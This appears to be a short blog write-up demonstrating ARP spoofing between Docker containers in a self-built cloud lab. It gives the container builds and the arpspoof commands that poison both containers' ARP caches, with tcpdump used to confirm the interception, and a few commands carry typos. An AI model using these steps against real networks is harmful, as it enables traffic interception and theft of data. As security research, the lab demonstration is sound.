ARP spoofing Docker containers

ARP spoofing is a relatively old hacking technique to intercept traffic on switched/bridged networks. It is essentially a mechanism to poison the ARP cache used by systems to find the MAC address of a certain host. Google searches will yield lots of information about the topic if you need further reading.

This write up is simply to validate whether the technique is still valid in containerized environments.

So let’s create a test environment to proof the point.

docker-machine create \

--driver digitalocean \

--digitalocean-access-token=d68aa…65b14e \

spooftest

Open a few terminals to make the testing easy

docker-machine ssh spooftest

On terminal 1, create the required containers

# docker build -t arpspoof - <<EOF

FROM debian

RUN apt-get update && apt-get install -y dsniff

EOF

# docker build -t tcpdump - <<EOF

FROM ubuntu

RUN apt-get update && apt-get install -y tcpdump

CMD tcpdump -i -n eth0

EOF

On terminal 2, create a busybox container named box1

# docker run -it --name box1 busybox

/ # ifconfig

eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:04

          inet addr:172.17.0.4  Bcast:0.0.0.0  Mask:255.255.0.0

          inet6 addr: fe80::42:acff:fe11:4/64 Scope:Link

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

          RX packets:7 errors:0 dropped:0 overruns:0 frame:0

          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:0

          RX bytes:550 (550.0 B)  TX bytes:508 (508.0 B)

lo        Link encap:Local Loopback

          inet addr:127.0.0.1  Mask:255.0.0.0

          inet6 addr: ::1/128 Scope:Host

          UP LOOPBACK RUNNING  MTU:65536  Metric:1

          RX packets:0 errors:0 dropped:0 overruns:0 frame:0

          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1

          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

/ #

On terminal 3, create a busybox container named box2

# docker run -it --name box2 busybox

/ # ifconfig

eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:05

          inet addr:172.17.0.5  Bcast:0.0.0.0  Mask:255.255.0.0

          inet6 addr: fe80::42:acff:fe11:5/64 Scope:Link

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

          RX packets:7 errors:0 dropped:0 overruns:0 frame:0

          TX packets:5 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:0

          RX bytes:550 (550.0 B)  TX bytes:418 (418.0 B)

lo        Link encap:Local Loopback

          inet addr:127.0.0.1  Mask:255.0.0.0

          inet6 addr: ::1/128 Scope:Host

          UP LOOPBACK RUNNING  MTU:65536  Metric:1

          RX packets:0 errors:0 dropped:0 overruns:0 frame:0

          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1

          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

/ # ping 172.17.0.4

On terminal 1, launch the arpspoof attack

# docker run -it --name arpspoofer arpspoof

arpspoof -i eth0  -t 172.17.0.5 172.17.0.4 &

arpspoof -i eth0  -t 172.17.0.4 172.17.0.5 &

On terminal 4, launch a tcpdump to verify the arpsoof taking place

docker run -it --name tcpdumper --net=container:arpsoofer  tcpdump

Traffic should be relayed through the arpspoof container!